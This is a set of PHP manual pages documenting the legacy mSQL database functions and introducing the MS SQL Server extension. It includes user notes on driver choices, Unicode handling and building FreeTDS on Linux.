msql_drop_db — Drop (delete) mSQL database

Description

bool msql_drop_db ( string $database_name [, resource $link_identifier ] )

msql_drop_db() attempts to drop (remove) a database from the mSQL server.

Parameters

database_name

The name of the database.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_create_db() - Create mSQL database

User Contributed Notes

There are no user contributed notes for this page.


Returns error message of last msql call

  • « msql_drop_db
  • msql_fetch_array »
  • PHP Manual
  • mSQL Functions
  • Returns error message of last msql call

msql_error

(PHP 4, PHP 5)

msql_error — Returns error message of last msql call

Description

string msql_error ( void )

msql_error() returns the last issued error by the mSQL server. Note that only the last error message is accessible with msql_error().

Return Values

The last error message or an empty string if no error was issued.

User Contributed Notes

There are no user contributed notes for this page.


Fetch row as array

  • « msql_error
  • msql_fetch_field »
  • PHP Manual
  • mSQL Functions
  • Fetch row as array

msql_fetch_array

(PHP 4, PHP 5)

msql_fetch_array — Fetch row as array

Description

array msql_fetch_array ( resource $result [, int $result_type ] )

msql_fetch_array() is an extended version of msql_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using msql_fetch_array() is NOT significantly slower than using msql_fetch_row(), while it provides a significant added value.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

result_type

A constant that can take the following values: MSQL_ASSOC, MSQL_NUM, and MSQL_BOTH with MSQL_BOTH being the default.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 msql_fetch_array() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
    echo $row['id'] . ': ' . $row['name'] . "\n";
}

msql_free_result($result);
?>

Changelog

Version | Description
5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

See Also

  • msql_fetch_row() - Get row as enumerated array
  • msql_fetch_object() - Fetch row as object
  • msql_data_seek() - Move internal row pointer
  • msql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.


Get field information

  • « msql_fetch_array
  • msql_fetch_object »
  • PHP Manual
  • mSQL Functions
  • Get field information

msql_fetch_field

(PHP 4, PHP 5)

msql_fetch_field — Get field information

Description

object msql_fetch_field ( resource $result [, int $field_offset = 0 ] )

msql_fetch_field() can be used in order to obtain information about fields in a certain query result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The field offset. If not specified, the next field that wasn't yet retrieved by msql_fetch_field() is retrieved.

Return Values

Returns an object containing field information. The properties of the object are:

  • name - column name

  • table - name of the table the column belongs to

  • not_null - 1 if the column cannot be NULL

  • unique - 1 if the column is a unique key

  • type - the type of the column

See Also

  • msql_field_seek() - Set field offset

User Contributed Notes

There are no user contributed notes for this page.


Fetch row as object

  • « msql_fetch_field
  • msql_fetch_row »
  • PHP Manual
  • mSQL Functions
  • Fetch row as object

msql_fetch_object

(PHP 4, PHP 5)

msql_fetch_object — Fetch row as object

Description

object msql_fetch_object ( resource $result )

msql_fetch_object() is similar to msql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to msql_fetch_array(), and almost as quick as msql_fetch_row() (the difference is insignificant).

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 msql_fetch_object() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_object($result, MSQL_ASSOC)) {
    echo $row->id . ': ' . $row->name . "\n";
}

msql_free_result($result);
?>

Changelog

Version | Description
5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

See Also

  • msql_fetch_array() - Fetch row as array
  • msql_fetch_row() - Get row as enumerated array
  • msql_data_seek() - Move internal row pointer
  • msql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.


Get row as enumerated array

  • « msql_fetch_object
  • msql_field_flags »
  • PHP Manual
  • mSQL Functions
  • Get row as enumerated array

msql_fetch_row

(PHP 4, PHP 5)

msql_fetch_row — Get row as enumerated array

Description

array msql_fetch_row ( resource $result )

msql_fetch_row() fetches one row of data from the result associated with the specified query identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Subsequent call to msql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 msql_fetch_row() example

<?php
$con = msql_connect();
if (!$con) {
    die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
    die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
    die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_row($result)) {
    echo $row[0] . ': ' . $row[1] . "\n";
}

msql_free_result($result);
?>

Changelog

Version | Description
5.0.4 | A bug was fixed when retrieving data from columns containing NULL values. Such columns were not placed into the resulting array.

See Also

  • msql_fetch_array() - Fetch row as array
  • msql_fetch_object() - Fetch row as object
  • msql_data_seek() - Move internal row pointer
  • msql_result() - Get result data

User Contributed Notes

markmcilroy at ozemail dot com dot au 10-Oct-2007 01:28
As an experienced programmer I recommend that new programmers do NOT use this function.

Use mqsql_fetch_array instead.

Using this function leads to code like:

<?php

    $surname = $row[7];

?>

This is a dangerous coding practice and should be avoided.

Changing the original query can break existing code, often in subtle ways that leave 'sleeper' bugs in your system that take months to appear.

Using mysql_fetch_array allows you to write code like:

<?php

    $surname = $data['surname'];

?>

This code will continue to run properly even columns are added to the originial query.

Also it is much easier to read and makes reading and modiying your code easier, reducing bugs.

Mark McIlroy
Kenneth Redpath 07-Jul-2005 01:15
Modification to the above code to make it work. Spelling Errors.

<?php
$con = mysql_connect();
if (!$con) {
   die('Server connection problem: ' . mysql_error());
}

if (!mysql_select_db('test', $con)) {
   die('Database connection problem: ' . mysql_error());
}

$result = mysql_query('SELECT id, name FROM people', $con);
if (!$result) {
   die('Query execution problem: ' . mysql_error());
}

while ($row = mysql_fetch_row($result)) {
   echo $row[0] . ': ' . $row[1] . "\n";
}

mysql_free_result($result);
?>


Get field flags

  • « msql_fetch_row
  • msql_field_len »
  • PHP Manual
  • mSQL Functions
  • Get field flags

msql_field_flags

(PHP 4, PHP 5)

msql_field_flags — Get field flags

Description

string msql_field_flags ( resource $result , int $field_offset )

msql_field_flags() returns the field flags of the specified field.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

Returns a string containing the field flags of the specified key. This can be: primary key not null, not null, primary key, unique not null or unique.

User Contributed Notes

There are no user contributed notes for this page.


Get field length

  • « msql_field_flags
  • msql_field_name »
  • PHP Manual
  • mSQL Functions
  • Get field length

msql_field_len

(PHP 4, PHP 5)

msql_field_len — Get field length

Description

int msql_field_len ( resource $result , int $field_offset )

msql_field_len() returns the length of the specified field.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

Returns the length of the specified field or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the specified field in a result

  • « msql_field_len
  • msql_field_seek »
  • PHP Manual
  • mSQL Functions
  • Get the name of the specified field in a result

msql_field_name

(PHP 4, PHP 5)

msql_field_name — Get the name of the specified field in a result

Description

string msql_field_name ( resource $result , int $field_offset )

msql_field_name() gets the name of the specified field index.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

The name of the field or FALSE on failure.

See Also

  • msql_field_len() - Get field length

User Contributed Notes

There are no user contributed notes for this page.


Set field offset

  • « msql_field_name
  • msql_field_table »
  • PHP Manual
  • mSQL Functions
  • Set field offset

msql_field_seek

(PHP 4, PHP 5)

msql_field_seek — Set field offset

Description

bool msql_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to msql_fetch_field() won't include a field offset, this field would be returned.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_fetch_field() - Get field information

User Contributed Notes

There are no user contributed notes for this page.


Get table name for field

  • « msql_field_seek
  • msql_field_type »
  • PHP Manual
  • mSQL Functions
  • Get table name for field

msql_field_table

(PHP 4, PHP 5)

msql_field_table — Get table name for field

Description

int msql_field_table ( resource $result , int $field_offset )

Returns the name of the table that the specified field is in.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

The name of the table on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get field type

  • « msql_field_table
  • msql_fieldflags »
  • PHP Manual
  • mSQL Functions
  • Get field type

msql_field_type

(PHP 4, PHP 5)

msql_field_type — Get field type

Description

string msql_field_type ( resource $result , int $field_offset )

msql_field_type() gets the type of the specified field index.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

field_offset

The numerical field offset. The field_offset starts at 1.

Return Values

The type of the field. One of int, char, real, ident, null or unknown. This functions will return FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_field_flags

  • « msql_field_type
  • msql_fieldlen »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_field_flags

msql_fieldflags

(PHP 4, PHP 5)

msql_fieldflags — Alias of msql_field_flags()

Description

This function is an alias of msql_field_flags().

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_field_len

  • « msql_fieldflags
  • msql_fieldname »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_field_len

msql_fieldlen

(PHP 4, PHP 5)

msql_fieldlen — Alias of msql_field_len()

Description

This function is an alias of msql_field_len().

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_field_name

  • « msql_fieldlen
  • msql_fieldtable »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_field_name

msql_fieldname

(PHP 4, PHP 5)

msql_fieldname — Alias of msql_field_name()

Description

This function is an alias of msql_field_name().

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_field_table

  • « msql_fieldname
  • msql_fieldtype »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_field_table

msql_fieldtable

(PHP 4, PHP 5)

msql_fieldtable — Alias of msql_field_table()

Description

This function is an alias of msql_field_table().

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_field_type

  • « msql_fieldtable
  • msql_free_result »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_field_type

msql_fieldtype

(PHP 4, PHP 5)

msql_fieldtype — Alias of msql_field_type()

Description

This function is an alias of msql_field_type().

User Contributed Notes

There are no user contributed notes for this page.


Free result memory

  • « msql_fieldtype
  • msql_list_dbs »
  • PHP Manual
  • mSQL Functions
  • Free result memory

msql_free_result

(PHP 4, PHP 5)

msql_free_result — Free result memory

Description

bool msql_free_result ( resource $result )

msql_free_result() frees the memory associated with query_identifier. When PHP completes a request, this memory is freed automatically, so you only need to call this function when you want to make sure you don't use too much memory while the script is running.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


List mSQL databases on server

  • « msql_free_result
  • msql_list_fields »
  • PHP Manual
  • mSQL Functions
  • List mSQL databases on server

msql_list_dbs

(PHP 4, PHP 5)

msql_list_dbs — List mSQL databases on server

Description

resource msql_list_dbs ([ resource $link_identifier ] )

msql_list_tables() lists the databases available on the specified link_identifier.

Parameters

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

See Also

  • msql_list_tables() - List tables in an mSQL database
  • msql_list_fields() - List result fields

User Contributed Notes

There are no user contributed notes for this page.


List result fields

  • « msql_list_dbs
  • msql_list_tables »
  • PHP Manual
  • mSQL Functions
  • List result fields

msql_list_fields

(PHP 4, PHP 5)

msql_list_fields — List result fields

Description

resource msql_list_fields ( string $database , string $tablename [, resource $link_identifier ] )

msql_list_fields() returns information about the given table.

Parameters

database

The name of the database.

tablename

The name of the table.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

See Also

  • msql_list_tables() - List tables in an mSQL database
  • msql_list_dbs() - List mSQL databases on server

User Contributed Notes

There are no user contributed notes for this page.


List tables in an mSQL database

  • « msql_list_fields
  • msql_num_fields »
  • PHP Manual
  • mSQL Functions
  • List tables in an mSQL database

msql_list_tables

(PHP 4, PHP 5)

msql_list_tables — List tables in an mSQL database

Description

resource msql_list_tables ( string $database [, resource $link_identifier ] )

msql_list_tables() lists the tables on the specified database.

Parameters

database

The name of the database.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

See Also

  • msql_list_fields() - List result fields
  • msql_list_dbs() - List mSQL databases on server

User Contributed Notes

There are no user contributed notes for this page.


Get number of fields in result

  • « msql_list_tables
  • msql_num_rows »
  • PHP Manual
  • mSQL Functions
  • Get number of fields in result

msql_num_fields

(PHP 4, PHP 5)

msql_num_fields — Get number of fields in result

Description

int msql_num_fields ( resource $result )

msql_num_fields() returns the number of fields in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns the number of fields in the result set.

See Also

  • msql_query() - Send mSQL query
  • msql_fetch_field() - Get field information
  • msql_num_rows() - Get number of rows in result

User Contributed Notes

There are no user contributed notes for this page.


Get number of rows in result

  • « msql_num_fields
  • msql_numfields »
  • PHP Manual
  • mSQL Functions
  • Get number of rows in result

msql_num_rows

(PHP 4, PHP 5)

msql_num_rows — Get number of rows in result

Description

int msql_num_rows ( resource $query_identifier )

msql_num_rows() returns the number of rows in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns the number of rows in the result set.

See Also

  • msql_num_fields() - Get number of fields in result

User Contributed Notes

dd at hibm dot org 21-Apr-2009 11:23
If you would like to just find out how many rows are returned by a query without actually using the results, then it's much more efficient to use SQL count function (specially for large tables with millions of rows).

<?php

$sql = "SELECT COUNT(indexed-field) AS cnt FROM some-table";
$r = mysql_query($sql);
$row = mysql_fetch_object($r);
echo $row->cnt;
?>


Alias of msql_num_fields

  • « msql_num_rows
  • msql_numrows »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_num_fields

msql_numfields

(PHP 4, PHP 5)

msql_numfields — Alias of msql_num_fields()

Description

This function is an alias of msql_num_fields().

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_num_rows

  • « msql_numfields
  • msql_pconnect »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_num_rows

msql_numrows

(PHP 4, PHP 5)

msql_numrows — Alias of msql_num_rows()

Description

This function is an alias of msql_num_rows().

User Contributed Notes

There are no user contributed notes for this page.


Open persistent mSQL connection

  • « msql_numrows
  • msql_query »
  • PHP Manual
  • mSQL Functions
  • Open persistent mSQL connection

msql_pconnect

(PHP 4, PHP 5)

msql_pconnect — Open persistent mSQL connection

Description

resource msql_pconnect ([ string $hostname ] )

msql_pconnect() acts very much like msql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (msql_close() will not close links established by this function).

Parameters

hostname

The hostname can also include a port number. e.g. hostname,port.

If not specified, the connection is established by the means of a Unix domain socket, being more efficient than a localhost TCP socket connection.

Note: While this function will accept a colon (:) as a host/port separator, a comma (,) is the preferred method.

Return Values

Returns a positive mSQL link identifier on success, or FALSE on error.

See Also

  • msql_connect() - Open mSQL connection
  • msql_close() - Close mSQL connection

User Contributed Notes

There are no user contributed notes for this page.


Send mSQL query

  • « msql_pconnect
  • msql_regcase »
  • PHP Manual
  • mSQL Functions
  • Send mSQL query

msql_query

(PHP 4, PHP 5)

msql_query — Send mSQL query

Description

resource msql_query ( string $query [, resource $link_identifier ] )

msql_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Parameters

query

The SQL query.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a positive mSQL query identifier on success, or FALSE on error.

Examples

Example #1 msql_query() example

<?php
$link = msql_connect("dbserver")
   or die("unable to connect to msql server: " . msql_error());
msql_select_db("db", $link)
   or die("unable to select database 'db': " . msql_error());

$result = msql_query("SELECT * FROM table WHERE id=1", $link);
if (!$result) {
   die("query failed: " . msql_error());
}

while ($row = msql_fetch_array($result)) {
    echo $row["id"];
}
?>

See Also

  • msql_db_query() - Send mSQL query
  • msql_select_db() - Select mSQL database
  • msql_connect() - Open mSQL connection

User Contributed Notes

There are no user contributed notes for this page.


Alias of sql_regcase

  • « msql_query
  • msql_result »
  • PHP Manual
  • mSQL Functions
  • Alias of sql_regcase

msql_regcase

(PHP 4, PHP 5)

msql_regcase — Alias of sql_regcase()

Description

This function is an alias of sql_regcase().

User Contributed Notes

There are no user contributed notes for this page.


Get result data

  • « msql_regcase
  • msql_select_db »
  • PHP Manual
  • mSQL Functions
  • Get result data

msql_result

(PHP 4, PHP 5)

msql_result — Get result data

Description

string msql_result ( resource $result , int $row [, mixed $field ] )

msql_result() returns the contents of one cell from a mSQL result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they are often much quicker than msql_result().

Recommended high-performance alternatives:
msql_fetch_row(),
msql_fetch_array(), and
msql_fetch_object().

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

row

The row offset.

field

Can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname.). If the column name has been aliased ('select foo as bar from ...'), use the alias instead of the column name.

Note:

Specifying a numeric field offset is much quicker than specifying a fieldname or tablename.fieldname.

Return Values

Returns the contents of the cell at the row and offset in the specified mSQL result set.

User Contributed Notes

There are no user contributed notes for this page.


Select mSQL database

  • « msql_result
  • msql_tablename »
  • PHP Manual
  • mSQL Functions
  • Select mSQL database

msql_select_db

(PHP 4, PHP 5)

msql_select_db — Select mSQL database

Description

bool msql_select_db ( string $database_name [, resource $link_identifier ] )

msql_select_db() sets the current active database on the server that's associated with the specified link_identifier.

Subsequent calls to msql_query() will be made on the active database.

Parameters

database_name

The database name.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_connect() - Open mSQL connection
  • msql_pconnect() - Open persistent mSQL connection
  • msql_query() - Send mSQL query

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_result

  • « msql_select_db
  • msql »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_result

msql_tablename

(PHP 4, PHP 5)

msql_tablename — Alias of msql_result()

Description

This function is an alias of msql_result().

User Contributed Notes

There are no user contributed notes for this page.


Alias of msql_db_query

  • « msql_tablename
  • Mssql »
  • PHP Manual
  • mSQL Functions
  • Alias of msql_db_query

msql

(PHP 4, PHP 5)

msql — Alias of msql_db_query()

Description

This function is an alias of msql_db_query().

User Contributed Notes

There are no user contributed notes for this page.


Microsoft SQL Server

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mssql Functions
    • mssql_bind — Adds a parameter to a stored procedure or a remote stored procedure
    • mssql_close — Close MS SQL Server connection
    • mssql_connect — Open MS SQL server connection
    • mssql_data_seek — Moves internal row pointer
    • mssql_execute — Executes a stored procedure on a MS SQL server database
    • mssql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • mssql_fetch_assoc — Returns an associative array of the current row in the result
    • mssql_fetch_batch — Returns the next batch of records
    • mssql_fetch_field — Get field information
    • mssql_fetch_object — Fetch row as object
    • mssql_fetch_row — Get row as enumerated array
    • mssql_field_length — Get the length of a field
    • mssql_field_name — Get the name of a field
    • mssql_field_seek — Seeks to the specified field offset
    • mssql_field_type — Gets the type of a field
    • mssql_free_result — Free result memory
    • mssql_free_statement — Free statement memory
    • mssql_get_last_message — Returns the last message from the server
    • mssql_guid_string — Converts a 16 byte binary GUID to a string
    • mssql_init — Initializes a stored procedure or a remote stored procedure
    • mssql_min_error_severity — Sets the minimum error severity
    • mssql_min_message_severity — Sets the minimum message severity
    • mssql_next_result — Move the internal result pointer to the next result
    • mssql_num_fields — Gets the number of fields in result
    • mssql_num_rows — Gets the number of rows in result
    • mssql_pconnect — Open persistent MS SQL connection
    • mssql_query — Send MS SQL query
    • mssql_result — Get result data
    • mssql_rows_affected — Returns the number of records affected by the query
    • mssql_select_db — Select MS SQL database

User Contributed Notes

bryanpiercecap at gmail dot com 03-Jan-2012 07:19
Here is version 3.0 of the MSSQL PHP driver.
1.1 is severely deprecated.

http://www.microsoft.com/download/en/details.aspx?id=17308
jezza at 9000internets dot com 06-Oct-2010 03:02
Using the new MS driver I have come across a difference between the array that I get back compared to mssql.

Example is here (both return types are associative arrays:

sqlsrv_fetch_array($resource, SQLSRV_FETCH_ASSOC)
"same as" sqlsrv_fetch($resource), as this returns by default an associative array, by default sqlsrv_fetch_array returns both an associative and a numeric array.

returns...

array(6) { ["yaxis"]=> object(DateTime)#58 (3) { ["date"]=> string(19) "2010-09-29 00:00:00" ["timezone_type"]=> int(3) ["timezone"]=> string(19) "Australia/Melbourne" } ["xaxis"]=> string(7) "Inbound" ["tt"]=> int(280345) ["ht"]=> int(297219) ["wt"]=> int(16874) ["calls"]=> int(1539) } string(8) ""

mssql_fetch_assoc($resource)

returns

array(6) { ["yaxis"]=> string(19) "2010-09-29 00:00:00" ["xaxis"]=> string(7) "Inbound" ["tt"]=> int(280345) ["ht"]=> int(297219) ["wt"]=> int(16874) ["calls"]=> int(1539) } string(8) ""

it would be much too difficult to change a large number of applications to compensate for this.

Found my answer...
add this to your connection objects parameters on instantiation

"ReturnDatesAsStrings"=>true

Found it buried in this article: http://msdn.microsoft.com/en-us/library/ee376928(SQL.90).aspx
vexx at pisem dot net 02-Oct-2010 12:26
this function get inserted ident like function mysql_insert_id()

<?php
function mssql_insert_id() {
    $id = 0;
    $res = mssql_query("SELECT @@identity AS id");
    if ($row = mysql_fetch_array($res, MYSQL_ASSOC)) {
        $id = $row["id"];
    }
    return $id;
}
?>
beartenor1 05-Feb-2010 09:18
As of October 2009, the new name is "SQL Server Driver for PHP 1.1"

Go to Microsoft Download Center http://www.microsoft.com/downloads and search
for "SQL Server Driver for PHP" which should take you to the following link:

http://www.microsoft.com/downloads/details.aspx?displaylang=en
&FamilyID=ccdf728b-1ea0-48a8-a84a-5052214caad9

But I wouldn't trust it to stay there. Microsoft has been moving a lot of download links lately.
tummen at jgd dot se 05-Sep-2009 12:28
i struggled with sqlsrv_connect for some time, first i had to get native client 2008 to get it to work, 2005 was not enough.

then i got som note that dll was compiled with wrong version, so i had to use test version 1.1 istead of 1.0 of the client and pick the version called php_sqlsrv_53_ts_vc6.dll

but still no success with connect.

finally i spent 7 hours testing things before i found out:

$serverName = "(local)"; ERROR for me

$serverName = "localhost\myinstansofdatabase"; //WOHOOOO
michal dot kocarek at brainbox dot cz 19-Aug-2009 11:05
Microsoft has issued in nearly past Native SQL driver for PHP.
This driver works with MSSQL 2000, 2005 and 2008 servers. Driver is issued as PHP extension. Source codes also available.

The driver supports native conversion to UTF-8, scrollable cursors and other features which this (old) library does not.

For more information and extension download please see
http://www.codeplex.com/SQLSRVPHP
They have also blog on http://blogs.msdn.com/sqlphp/
ccsalway at yahoo dot co dot uk 15-Aug-2009 09:02
Im running PHP 5.3 and used the php development ini and when I use the Microsoft SQL for PHP driver, I get the following error:

[15-Aug-2009 07:48:13] PHP Warning:  PHP Startup: sqlsrv: Unable to initialize module
Module compiled with module API=20060613
PHP    compiled with module API=20090626
These options need to match
 in Unknown on line 0
exidas at madnes dot eu 05-Aug-2009 09:43
Hi, i was need some short and simple script to list all tables and columns of MSSQL database. There was nothing easy to explain on the net, so i've decided to share my short script, i hope it will help.

<?php
$all = MSSQL_Query("select TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS order by TABLE_NAME, ORDINAL_POSITION");

$tables = array();
$columns = array();

while($fet_tbl = MSSQL_Fetch_Assoc($all)) { // PUSH ALL TABLES AND COLUMNS INTO THE ARRAY

  $tables[] = $fet_tbl[TABLE_NAME];
  $columns[] = $fet_tbl[COLUMN_NAME];

}

$sltml = array_count_values($tables); // HOW MANY COLUMNS ARE IN THE TABLE

foreach($sltml as $table_name => $id) {

 echo "<h2>". $table_name ." (". $id .")</h2><ol>";

    for($i = 0; $i <= $id-1; $i++) {

    echo "<li>". $columns[$i] ."</li>";

    }

  echo"</ol>";

}
?>
opc dot three at gmail dot com 02-Jun-2009 05:50
After extensive research trying to get PHP on Linux communicating with SQL Server 2005 and 2008 including support for all Unicode, MAX and XML data types I could not find any open source solutions...yes, I spent a lot of time trying to get FreeTDS to work to no avail.

I found one free solution that runs on Windows which is to use the "SQL Server Driver for PHP" provided by Microsoft (http://sql2k5php.codeplex.com). The driver relies on the Microsoft Native Client ODBC drivers for SQL Server 2008 (part of the "Microsoft SQL Server 2008 Native Client" which is downloadable from Microsoft) which is why this solution will not work on anything except Windows.

I did find a solution that works for PHP on Linux but it's not free...use the standard PHP::ODBC lib (free) and the Easysoft ODBC driver for SQL Server (not free, but reasonable by Enterprise standards). You can check out the ODBC driver by going here http://www.easysoft.com/products/data_access and looking for "Easysoft ODBC-SQL Server Driver"
thanhha dot phan at yahoo dot com 04-May-2009 04:03
I got a serious problem with Unicode data when working with PHP and MSSQL. I have to say the PHP and MSSQL doesn't seem to be a good combination.

MSSQL is really complicated to work with since the whole server uses a single character encoding[ucs-2]. In order to store unicode information, the column data types must be specified as one of the national character types, NVARCHAR, NCHAR or NTEXT.

In order to retrieve data saved in unicode format, M$ suggest users to cast columns to binary data.Unfortunately php_mssql extension doesn't support  binary data to be returned in string columns.

My advice is to use FreeTDS driver [it's just an php extension]. This driver seems to handle unicode data better. I can put and receive unicode with casting or change encoding.

A good tutorial "Using freeTDS" can be found here

http://docs.moodle.org/en/Installing_MSSQL_for_PHP

However, freeTDS is not a perfect solution for unicode data. I'm not able to execute stored procedures with mssql_bind, mssql_bind without having my text changed.
AA 11-Mar-2009 09:26
On windows, do not use this for mssql 2005 of later.  The methods of access are deprecated.

Use the Microsoft SQL Server 2005 Driver for PHP instead.
Current link is.
http://www.microsoft.com/sqlserver/2005/en/us/PHP-Driver.aspx


Introduction

These functions allow you to access MS SQL Server database.

This extension is not available anymore on Windows with PHP 5.3 or later.

SQLSRV, an alternative extension for MS SQL connectivity is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx.

User Contributed Notes

alvaro at demogracia dot com 16-Dec-2009 05:40
SQLSRV is not exactly a "driver": it's a completely different PHP extension to access SQL Server databases and it has its own syntax and features. It's a Windows-only library developed and maintained by Microsoft and it's not related to the built-in SQL Server extension described here.

(Whatever, it's quite feature-rich and it's easy to learn.)


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

xmak at studioartlan dot com 02-Nov-2013 10:02
For the 64-bit architecture in some cases you need to link /usr/local/freetds/lib64 to /usr/local/freetds/lib.
See here:

http://forums.cpanel.net/f354/adding-mssql-support-php-66644-p2.html
dragos at rdss dot ro 03-May-2011 06:59
mssql install-setup as so on linux:

get freetds package
1. wget ftp://ftp.ibiblio.org/pub/Linux/
ALPHA/freetds/stable/freetds-stable.tgz
2. uncompress and cd 2 sources folder
3. ./configure --enable-msdblib --prefix=/usr/local/freetds
4. make
5. make install
copy some supplementary files
6. cp include/tds.h /usr/local/freetds/include
7. cp src/tds/.libs/libtds.a /usr/local/freetds/lib

get php devel sources if you don't have it and install it
get php sourcers files, uncompress it, chdir
8. chdir ext/mssql
8. phpize
9. ./configure --with-mssql=/usr/local/freetds
10. make
11. cp modules/mssql.so phpextensionpath, or make install

12. echo "/usr/local/freetds/lib" >> /etc/ld.so.conf
and
echo "export FREETDSCONF=/usr/local/freetds/etc/freetds.conf" >> /etc/profile
add in extension section
13. extension=mssql.so to php.ini
add in httpd.conf right above "Include /etc/httpd/mod_php.conf"
14.SetEnv FREETDSCONF /usr/local/freetds/etc/freetds.conf
15. set you server connection in /usr/local/freetds/etc/freetds.conf

for testing w/o reboot server:
16. export FREETDSCONF=/usr/local/freetds/etc/freetds.conf
17. restart apache
18. verify mssql enabled with phpinfo()
19. run your test script.
20. other fine tunnigs and settings

pls. keep in mind:
- your ms SQL must be setup with socket listing ;)
